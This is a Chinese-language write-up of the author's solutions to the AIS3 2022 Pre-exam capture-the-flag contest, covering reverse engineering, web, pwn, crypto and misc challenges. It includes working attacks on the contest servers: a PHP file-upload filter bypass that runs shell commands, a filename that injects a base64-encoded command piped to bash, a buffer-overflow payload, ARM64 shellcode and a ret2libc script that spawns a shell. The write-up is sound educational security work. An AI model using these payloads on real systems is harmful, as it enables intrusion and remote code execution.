AIS3 2022 Pre-exam Writeup
從 226 名、49 名,一直到今年的第 2 名,著實感受到自己的進步,雖然也有一部分是因為跟我差不多時期的人可能都去出題了,所以競爭沒有往年激烈。不過還是很高興可以看見從上大學到現在有一點一點地在進步,期許畢業前可以在 EOF 上也有更好的 solo 成績。
不得不說 AIS3 pre-exam 每年都有用心在出題目,相較 CTFTime 上常有些不明所以的 CTF,pre-exam 打起來都是很開心的。
Rank
- Team:
Ice1187
- Ranking: 2nd
- Writeup Repo: Ice1187/AIS3-2022-Pre-exam-Writeup
Reverse
Time Management
- 每次 print flag 的一個字元要等 30000 多秒。
- 從
objdump
找到要 patch 的 instruction 在0x122b
。 - 用 vim 打開
chal
,然後輸入指令:%!xxd
將 binary 轉成xxd
的 hexdump 格式。 - 找到
0x122b
的位置即為要 patch 的部分0x00008763
。 - 將其修改成 1 秒,同時也把右半部的 ASCII 改成
.
。 - 輸入指令
:%!xxd -r
將 hexdump revert 回 binary。 - 執行 patch 後的 binary 即可得到 flag,但因為最後會輸出
\r
,因此要邊輸出邊按換行避免輸出被蓋掉。
Flag: AIS3{You_are_the_master_of_time_management!!!!!}
Calculator
- 用
dnSpy
打開Extensions
中的各個AIS3.dll
,可以看到多層對輸入的檢查。 -
使用
z3
找出正確的輸入即為 flag,詳細 code 可以參考solve.py
。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from z3 import * a = [BitVec(f'a[{i}]', 8) for i in range(46)] solver = Solver() solver.add(a[0] == ord('A')) # AIS3 offset = 1 solver.add(a[14+offset] == ord('A')) solver.add(a[3+offset] == ord('{')) array = [30, 4, 100] for i in range(len(array)): solver.add((a[i+offset] ^ ord('W')) == array[i]) print(solver.check()) # more checks...
Flag: AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
殼
- 如果有看過,應該會知道這是文言,一種文言文程式語言。
-
可以透過以下指令執行
殼.wy
和將其轉成 JavaScript。1 2 3 4 5 6 7 8 9 10
$ npm install @wenyan/core $ npm install js-beautify $ ./node_modules/.bin/wenyan --dir ./chal/藏書樓/ ./chal/殼.wy # execute 輸入「助」以獲得更多幫助 > $ cd ./chal $ npx --package=@wenyan/cli wenyan -c -o ../decomp.js -r --roman pinyin 殼.wy # convert to JavaScript $ node_modules/.bin/js-beautify ./decomp.js > decomp_beauty.js # beautify JavaScript
- 簡單看一下 JavaScript code 可以發現輸入要以
蛵煿
開頭,然後輸入經過一些運算之後要符合密旗
(MI4QI2
) 這個變數的內容。 - 後來實在是懶得看又醜又長的 JavaScript,觀察輸入之後發現每 3 個輸入字元決定 2 個輸出字元,因此把 mapping 建出來,就能直接從答案反推輸入了。所有組合大概有 1000000 組,最後花了 6~8 個小時建出大概 8 成的 mapping,然後反推輸入得到 flag。
Flag: AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}
Flag Checker
- Bianry 需要
GLIBC_2.33
,GLIBC_2.34
,可以用 docker 建一個臨時的 Ubuntu 22.04 來用。 -
跑 Ubuntu 22.04 docker container。
1 2 3 4 5 6 7 8 9 10 11 12 13
$ cat Dockerfile FROM ubuntu:22.04 RUN apt-get update && apt-get upgrade -y COPY ./flag_checker / $ sudo docker build -t flag-checker-demo . $ sudo docker run -itd flag-checker-demo:latest eccce3f0aa7eaf6dcd8548afc5a57ff5a289fbc4ff99611b4dbeadeafc41d1a8 $ sudo docker exec -it eccc /bin/bash root@eccce3f0aa7e:/# ./flag_checker a Bad
- 從 IDA 得知輸入開頭須為
AIS3{
。 -
用
gdb
追進去,看到Thread dubugging
因此猜測可能有 callfork
或execve
之類的 system call。用catch syscall
在遇到 syscall 時中斷,發現其透過execve
執行python
。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
pwndbg> r Starting program: /flag_checker warning: Error disabling address space randomization: Operation not permitted [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ^C Program received signal SIGINT, Interrupt. pwndbg> ni AIS3{AAAAAAAA} pwndbg> catch syscall Catchpoint 1 (any syscall) pwndbg> c Continuing. Catchpoint 1 (call to syscall execve), 0x00005582a84281d0 in ?? () pwndbg> ni ────────────────────────[ STACK ]──────────────────────── 00:0000│ rsp 0x7fff7b088140 ◂— 0x4 01:0008│ 0x7fff7b088148 —▸ 0x7fff7b0884dc ◂— 0x336e6f68747970 /* 'python3' */ 02:0010│ 0x7fff7b088150 —▸ 0x7fff7b0884e4 ◂— 0x706d695f5f00632d /* '-c' */ 03:0018│ 0x7fff7b088158 —▸ 0x7fff7b0884e7 ◂— 0x74726f706d695f5f ('__import') 04:0020│ 0x7fff7b088160 —▸ 0x7fff7b0888fd ◂— 'AAAAAAAA}' 05:0028│ 0x7fff7b088168 ◂— 0x0 06:0030│ 0x7fff7b088170 —▸ 0x7fff7b088907 ◂— 'LESSOPEN=| /usr/bin/lesspipe %s' 07:0038│ 0x7fff7b088178 —▸ 0x7fff7b088927 ◂— 'HOSTNAME=73648dfc4d1a'
- 用
dump
把執行的 command 拉出來。 - 用
picktools
disassemble pickle code,可以參考 scriptdisasm.py
。 - 讀一下 disassemble 的 pickle,還原其 check 大致如下:
-
觀察上述 check 可發現,此算法與 RSA 十分相似:
a
是明文,b
是密文,65537
是e
,一長串模數是N
,只差在N
本身即是質數,而不是兩個質數的積。但這並不影響 RSA decrypt 的運算,因此可以用以下方法還原輸入,得到 flag。1 2 3 4 5 6 7 8 9 10 11 12 13
from Crypto.Util.number import inverse # RSA-like solution n = 542732316977950510497270190501021791757395568139126739977487019184541033966691938940926649138411381198426866278991473 r = n-1 # n is a prime, so r = phi(n) = n-1 e = 65537 d = inverse(e, r) c = 451736263303355935449028567064392382249020023967373174925770068593206982683303653948838172763093279548888815048027759 m = pow(c, d, n) flag = m.to_bytes(64, 'big').strip(b'\x00').decode() flag = 'AIS3{' + flag print(flag)
Flag: AIS3{from_rop_to_python_to_pickle_to_math}
Rideti
- 字串中的
@CONGRATULATIONS!
應該是我們的目標。 - IDA 不認得 string。觀察字串的使用方式後,可以建出
my_string
struct 然後 apply 到字串上。 - 經過一番逆向後,可以發現去到勝利畫面
scene_final
的條件為scene_state = 2
,而當分數score = 3962971405739
時,scene_state
被設成 2。 - 用
x64dbg
在走到 check 時手動把score
改成3962971405739
即可拿到 flag。x64dbg
使用教學可以參考這個。
Flag: 沒有存到當時給的 flag 字體的網站,所以就看圖吧 XD
Strings
- 既然題目叫
Strings
,就先strings
一下,可以發現類似 flag 的字串。 - 此題為 Rust binary,IDA 的 decompile 很難看,直接看 disassembly graph 會好一點。經過一番動靜態混合的分析,可以找到輸入從
my_readline
讀入。 - 將輸入
trim
過之後,以_
為分隔做split
。 split
之後存入vec
型態,然後進入共 11 次的 loop。由此可以猜測 flag 裡應該由 10 個_
和 11 個字串組合而成。- loop 裡
memcpy
了 11 個 integersome_index
,然後用這些 integer 去 index 最一開始看到的類似 flag 的字串FLAG
,再和輸入進行比較。因此猜測這 11 個數字便是FLAG
裡組成 flag 的字串的 index。 -
驗證上述猜測便是 flag。
1 2 3 4 5 6 7 8 9
flags = ['AIS3{', 'good', 'luck', 'finding', 'the', 'flags', 'value', 'using', 'strings', 'command', 'guess', 'which', 'substring', 'is', 'our', 'actual', 'answer', 'lmaoo', '}'] indexes = [0, 0x4, 0x10, 0xd, 0xa, 0x4, 0x8, 0x7, 0x1, 0x2, 0x12] flag = [] for i in indexes: flag.append(flags[i]) print('_'.join(flag))
Flag: AIS3{_the_answer_is_guess_the_strings_using_good_luck_}
Web
Poking Bear
- 網頁上顯示的 bear 的 URL 為
/bear/<n>
,因此猜測要找的 bear 應該也是同樣的格式。 -
產生
0
~1000
的 wordlistbear.txt
,然後用ffuf
進行爆搜,並將沒有 bear 的結果過濾掉。找到唯一不在網頁上的 bear499
即為 secret bear。1 2 3 4 5 6 7 8 9
$ ffuf -u http://chals1.ais3.org:8987/bear/FUZZ -w ./bear.txt | grep -v 'Size: 1358 ./fuzz_bear.txt 5 [Status: 200, Size: 1742, Words: 295, Lines: 42] 29 [Status: 200, Size: 1743, Words: 295, Lines: 42] 82 [Status: 200, Size: 1743, Words: 295, Lines: 42] 327 [Status: 200, Size: 1744, Words: 295, Lines: 42] 350 [Status: 200, Size: 1740, Words: 295, Lines: 42] 499 [Status: 200, Size: 1847, Words: 335, Lines: 46] 777 [Status: 200, Size: 1744, Words: 295, Lines: 42] 999 [Status: 200, Size: 1744, Words: 295, Lines: 42]
-
需要成為
bear poker
,因此將 Cookie 的human
設成bear poker
,再 poke 一次就拿到 flag。1 2 3 4
$ curl http://chals1.ais3.org:8987/bear/499 Hello human, you need to be a "bear poker" to poke the SECRET BEAR. $ curl http://chals1.ais3.org:8987/poke -H 'Cookie: human=bear poker' -d 'bear _id=499' -H 'Content-Type: application/x-www-form-urlencoded' <script>alert(`AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}`); location='/'</script>
Flag: AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}
Simple File Uploader
- 不能上傳
php
,php2
,php3
,php4
,php5
,php6
,phar
,phtm
,可以用pHP
bypass 檢查。 -
Ban 掉一堆危險 function,可以用 ``` 執行 shell command 讀取 flag。
1 2 3
<?php echo(`/rUn_M3_t0_9et_fL4g`); ?>
Flag: 忘了留…
Tari Tari
- 上傳
trash.txt
後,網頁提供的下載網址為http://chals1.ais3.org:9453/download.php?file=MjY1MDEwZmI2MDg2NGU1MGFjZTg5Y2RkYjE4ZmQxZjIudGFyLmd6&name=trash.txt.tar.gz
。把file
base64 decode 得到265010fb60864e50ace89cddb18fd1f2.tar.gz
,由此猜測file
可以讀取任意檔案。 -
讀取
index.php
,發現其使用passthru
執行 shell command,而$filename
為使用者可控,因此可以 RCE。1 2 3 4 5
$filename = $file['name']; $path = bin2hex(random_bytes(16)) . ".tar.gz"; $source = substr($file['tmp_name'], 1); $destination = "./files/$path"; passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return);
-
上傳檔案即可讀到 flag。
1 2 3 4
$ echo abc > "'|| echo $(echo -n cat /y000000_i_am_the_f14GGG.txt | base64) | base64 -d | bash;#" $ ls total 32K -rw-r--r-- 1 ice1187 ice1187 0 May 15 18:16 ''\''|| echo Y2F0IC95MDAwMDAwX2lfYW1fdGhlX2YxNEdHRy50eHQ= | base64 -d | bash;#'
Flag: AIS3{test_flag (to be changed)}
(這個 flag 有夠迷惑…)
The Best Login UI
bodyParser.urlencoded
中設定extended = true
,表示 HTTP 傳入的參數會被當作 object,而非 string。再加上使用 MongoDB,因此可以嘗試 NoSQL injection。- 確認可以做 NoSQL injection (MongoDB query syntax)。
- 使用
$regex
把 flag 爆出來,當時寫的 script 超醜就不貼了…。
Flag: AIS3{Bl1nd-b4s3d r3gex n0sq1i?! (:3[___]}
Pwn
SAAS — Crash
-
String
的 destructor 會把str
delete 掉,但沒有把str
設回nullptr
,留下 dangling pointer。而print
會呼叫 copy constructor 把s
的 member 都 copy 過來,然後在print
結束時呼叫String
的 destructor 把s
清掉,因此只要連續print
兩次,就可以 double frees.str
。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
class String { public: char *str; size_t len; String(const char *s) { len = strlen(s); str = new char[len + 1]; strcpy(str, s); } ~String() { delete[] str; } }; void print(String s) { printf("Length: %zu\n", s.len); printf("Content: "); write(1, s.str, s.len); printf("\n"); }
-
建立 string 之後 print 兩次得到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
===== S(tring)AAS ===== 1. Create string 2. Edit string 3. Print string 4. Delete string > 1 Index: 0 Content: aaaa ===== S(tring)AAS ===== 1. Create string 2. Edit string 3. Print string 4. Delete string > 3 Index: 0 Length: 4 Content: aaaa ===== S(tring)AAS ===== 1. Create string 2. Edit string 3. Print string 4. Delete string > 3 Index: 0 Length: 4 Content: free(): double free detected in tcache 2 Aborted (core dumped)
Flag: AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}
BOF2WIN
-
純粹的 stack buffer overflow。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from pwn import * p = remote('127.0.0.1', 12347) p = remote('chals1.ais3.org', 12347) flag_adr = 0x401216 payload = b'A'*24 payload += flag_adr.to_bytes(8, 'little') p.recv() p.sendline(payload) print(p.recv()) print(p.recv().strip(b'\x00').decode())
Flag: AIS3{Re@1_B0F_m4st3r!!}
Give Me SC
-
不會寫 ARM64 shellcode 就上網找一份來用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
from pwn import * p = remote('127.0.0.1', 15566) p = remote('chals1.ais3.org', 15566) # ref: https://www.exploit-db.com/exploits/47048 shellcode = b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4" p.recv() p.send(b'AAAA') p.recv() p.send(shellcode) print(p.recv()) p.sendline(b'cat home/give_me_sc/flag') print(p.recv().decode()) print(p.recv().decode()) # p.interactive()
Flag: AIS3{Y0uR_f1rst_Aarch64_Shellcoding}
Magic
- 嘗試幾次輸入之後,會發現有時候會突然 read 或 write 很多 bytes。
-
用
gdb
追進去發現正常read
結束後會另外計算read
和write
的次數。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
0x401d06 push rax 0x401d07 push rdi 0x401d08 push rsi 0x401d09 push rdx 0x401d0a mov rax, 1 0x401d11 mov rdi, 0 0x401d18 mov rsi, 0x404f20 0x401d1f mov rdx, 5 0x401d26 syscall // write(stdout, 0x404f20, 5) 0x401d28 pop rdx 0x401d29 pop rsi 0x401d2a pop rdi 0x401d2b pop rax 0x401d2c mov rax, 0x404f00 0x401d33 add qword ptr [rax], 1 0x401d37 mov rax, qword ptr [rax] 0x401d3a mov rbx, 0x404f08 0x401d41 mov rbx, qword ptr [rbx] 0x401d44 mov r8, 0x404f10 // original read 0x401d4b mov r8, qword ptr [r8] 0x401d4e cmp rax, 0xe // check: [0x404f00] == 0xe 0x401d52 jne 0x401d61 0x401d54 cmp rbx,0x8 // check: [0x404f08] == 0x8 0x401d58 jne 0x401d61 0x401d5a mov rdx,0x1000 0x401d61 jmp r8
-
write
也有同樣的操作。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
0x401e00 push rax 0x401e01 push rdi 0x401e02 push rsi 0x401e03 push rdx 0x401e04 mov rax,0x1 0x401e0b mov rdi,0x0 0x401e12 mov rsi,0x404f28 0x401e19 mov rdx,0x5 0x401e20 syscall 0x401e22 pop rdx 0x401e23 pop rsi 0x401e24 pop rdi 0x401e25 pop rax 0x401e26 mov rax,0x404f08 0x401e2d add QWORD PTR [rax],0x1 0x401e31 mov rax,QWORD PTR [rax] 0x401e34 mov rbx,0x404f00 0x401e3b mov rbx,QWORD PTR [rbx] 0x401e3e mov r8,0x404f18 0x401e45 mov r8,QWORD PTR [r8] 0x401e48 cmp rax,0x3 0x401e4c jne 0x401e5b 0x401e4e cmp rbx,0x7 0x401e52 jne 0x401e5b 0x401e54 mov rdx,0x100 0x401e5b jmp r8
- 整理一下可以發現當
read
2 次、write
3 次時可以 read 0x100 bytes,而當read
3 次、write
8 次時可以寫 0x1000 bytes。各個 memory 紀錄的數值如下:[0x404f00]
counts how many time read been called[0x404f08]
counts how many time write been called[0x404f10]
original read[0x404f18]
original write
-
因此我們可以用
read
0x100 bytes 來 leak glibc (libc version 可從提供的 container 得知),然後用write
0x1000 bytes 做 ret2libc。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
from pwn import * #p = remote('127.0.0.1', 12348) p = remote('chals1.ais3.org', 12348) debug = False #p = process('./magic/share/magic') #p = gdb.debug('./magic/share/magic', gdbscript='continue') #debug = True def read(): print('[*] Reading') print(p.recvuntil(b'> ')) p.sendline(b'w') data = p.recvuntil(b'read')[:-4] print('[*] Read', data) return data def write(data=b'A'): print('[*] Writing') print(p.recvuntil(b'> ')) p.sendline(b'r') p.send(data) print('[*] Written', data) return def super_read(): write() write() read() read() data = read() return data def super_write(payload): for _ in range(5): read() write(payload) # leak libc: version libc6_2.31-0ubuntu9.2_amd64 leak = super_read() print('leak:', leak) if debug: libc = int.from_bytes(leak[22:22+8], 'little') - 0x240b3 else: libc = int.from_bytes(leak[27:27+8], 'little') - 0x240b3 print(f'[+] Libc base: {libc:#2x}') padding = b'A'*22 system = libc + 0x522c0 bin_sh = libc + 0x1b45bd pop_rdi = 0x401313 ret = 0x40101a payload = padding payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(ret) payload += p64(system) print(payload) super_write(payload) p.sendline(b'c') p.interactive()
Flag: AIS3{ma4a4a4aGiCian}
UTF-8 Editor — Crash
- 輸入
你ㄏ
,讓ㄏ
注音組字的階段,然後刪掉你ㄏ
,會留下一個類似空白的東西,輸入進去,然後 print 就解了。 - 猜測應該是我的環境有一些編碼問題之類的,肯定不是 intended XD
Flag: AIS3{unsigned_intergers_are_so_cool}
Crypto
SC
-
cipher.py
建立隨機的 substitution cipher,然後給我們替換過後的cipher.py.enc
和flag.txt.enc
。因為cipher.py.enc
有足夠多字元,因此我可以用它重建 substitution 的 mapping,然後把flag.txt.enc
decrypt 回來。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
import string charset = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) enc_charset = [None for _ in range(len(charset))] print(charset) txt = open('./cipher.py', 'r').read() enc = open('./cipher.py.enc', 'r').read() for i in range(len(txt)): c = txt[i] enc_c = enc[i] if c in charset: idx = charset.index(c) enc_charset[idx] = enc_c charset = ''.join(charset) enc_charset = ''.join([x if x is not None else '@' for x in enc_charset]) T = str.maketrans(enc_charset, charset) with open('./flag.txt.enc', 'r') as f: enc_flag = f.read() print(enc_flag.translate(T))
Flag: AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
Fast Cipher
-
因為會和
0xff
取 bitwise and,因此只要找到和初始的key
最後一個 byte 相同的數即可。(應該是這樣吧,我也沒有非常確定我的思路是不是對的…)。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
from secrets import randbelow M = 2**1024 def f(x): # this is a *fast* function return ( 4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763 ) % M def encrypt(pt, key): ct = [] for c in pt: ct.append(c ^ (key & 0xFF)) key = f(key) return bytes(ct) if __name__ == "__main__": key = randbelow(M) ct = encrypt(open("flag.txt", "rb").read().strip(), key) print(ct.hex())
-
寫個 script 爆搜一下,馬上就能算出 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
M = 2**1024 with open('./output.txt', 'r') as f: enc_flag = f.read().strip() enc_flag = int(enc_flag, 16).to_bytes(64, 'big').strip(b'\x00') def f(x): # this is a *fast* function return ( 4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763 ) % M def decrypt(key): flag = '' for e in enc_flag: flag += chr(e ^ (key & 0xff)) key = f(key) if 'AIS3' in flag: print(flag) exit(0) for k in range(2**1024): tmp = '' tmp_k = k for c in enc_flag[:4]: tmp += chr(c ^ (tmp_k & 0xff)) tmp_k = f(tmp_k) if tmp == 'AIS3': print('repeat!', k) decrypt(k) break
Flag: AIS3{not_every_bits_are_used_lol}
Misc
Excel
xlsm
是包含 macro 的 xls 檔,可以用unzip
解開,然後在xl/macrosheets/
找到 macro sheetsheet1.xml
。-
跟 Execl 和 macro 實在不熟,最後直接寫個 script hardcode to win…。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
# from chal/xl/macrosheets/sheet1.xml a = ''' FORMULA(mqLen!D14&Mment!BA10&coCGA!S17&coCGA!Q19&KRnsl!L19&Mment!F3&coCGA!G26&coCGA!O23&coCGA!P3&coCGA!K12&KRnsl!J19&KRnsl!C11&coCGA!N3&mqLen!E4&coCGA!D11&KRnsl!T5&JVHco!K10&mqLen!BA14&Mment!W1&KRnsl!U13&KRnsl!V9&mqLen!C12&KRnsl!J4&Mment!Y19&mqLen!K19&JVHco!F2&mqLen!K10&coCGA!Z15&mqLen!N21&Mment!N1&Mment!S2&coCGA!X2&Mment!D16&coCGA!U26&coCGA!R1&mqLen!V9&mqLen!R11&Mment!X1&coCGA!D5&KRnsl!Z19&mqLen!BA4&coCGA!Z9&coCGA!G7&mqLen!U10&Mment!U11&coCGA!G18&JVHco!V1&mqLen!O26&Mment!G5&KRnsl!H22&Mment!P10&JVHco!W17&Mment!F8&coCGA!L15&coCGA!H3&KRnsl!U17&KRnsl!BA11&coCGA!X12&KRnsl!F14&Mment!B10&KRnsl!V12&Mment!U12&coCGA!P14&coCGA!Y1&JVHco!B10&JVHco!F16&KRnsl!Q26&Mment!P25&KRnsl!M3&KRnsl!I26&mqLen!L15&mqLen!V25&KRnsl!G2&Mment!I18&Mment!M4&KRnsl!C7&JVHco!N5&KRnsl!M19&Mment!J9&Mment!I7&coCGA!G13&KRnsl!M12&mqLen!X2&mqLen!M1&JVHco!P3&KRnsl!S12&Mment!U10&JVHco!D16&mqLen!P17&KRnsl!I5&coCGA!W24&JVHco!E10&Mment!B8&coCGA!C14&JVHco!Z15&Mment!BA11&coCGA!F19&KRnsl!Z2&JVHco!D13&Mment!O2&KRnsl!D19&Mment!K19&Mment!U20&JVHco!Q9&KRnsl!I17&coCGA!X17&JVHco!Q24&KRnsl!Q4&coCGA!N21&coCGA!W11&JVHco!E17&mqLen!H19&KRnsl!X6&coCGA!N26&coCGA!N18&KRnsl!Q17&JVHco!J25&KRnsl!Z16&mqLen!P13&coCGA!Z21&JVHco!C24&Mment!X19&Mment!O21,A137) '''.strip() a = a[8:-6] a = a.replace('&', '&') a = a.split('&') # hardcore... flag = '' for i in a: c = input(f'{i} >') if c.isnumeric(): c = chr(int(c)) flag += c print(flag)
Flag: AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}
Gift in the dream
-
strings
GIF 檔可以看到一些 hint,因此猜測 flag 跟 GIF 中每個 frame 的 duration 有關。寫個 script print 出來看看。1 2 3 4 5 6 7 8 9 10 11
from PIL import Image # ref: https://stackoverflow.com/questions/53364769/get-frames-per-second-of-a-gif-in-python im = Image.open('./gift_in_the_dream_updated.gif') try: while 1: print(im.info['duration']) im.seek(im.tell()+1) except EOFError: pass
-
可以發現
duration / 10
皆在 ASCII 範圍內,因此把duration / 10
組合起來即為 flag。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from PIL import Image # ref: https://stackoverflow.com/questions/53364769/get-frames-per-second-of-a-gif-in-python im = Image.open('./gift_in_the_dream_updated.gif') flag = '' try: while 1: flag += chr(im.info['duration'] // 10) im.seek(im.tell()+1) except EOFError: pass print(flag)
Flag: AIS3{5T3g4n0gR4pHy_c4N_b3_fUn_s0m37iMe}
Knock
- 根據題目猜測 knock 應該是指 server 會嘗試透過網路戳參賽者的機器,因此用 Wireshark listen 在 VPN 的 interface,發現有一些多的 UDP 封包。
-
觀察發現 UDP packet 的 dest. port 最後兩位數都在 ASCII 範圍內,且前四個封包
63 73 83 51
便是AIS3
,因此拉出來即是 flag。這題感覺有點通靈,但其實是一種 exfiltration 的方法。1 2 3 4 5 6 7 8 9 10 11
import scapy.all as scapy packets = scapy.rdpcap('./knock.pcapng') knock_packets = packets[scapy.UDP][12:] flag = '' for p in knock_packets: flag += chr(p.dport - 12000) print(flag)
Flag: AIS3{kn0ckKNOCKknock}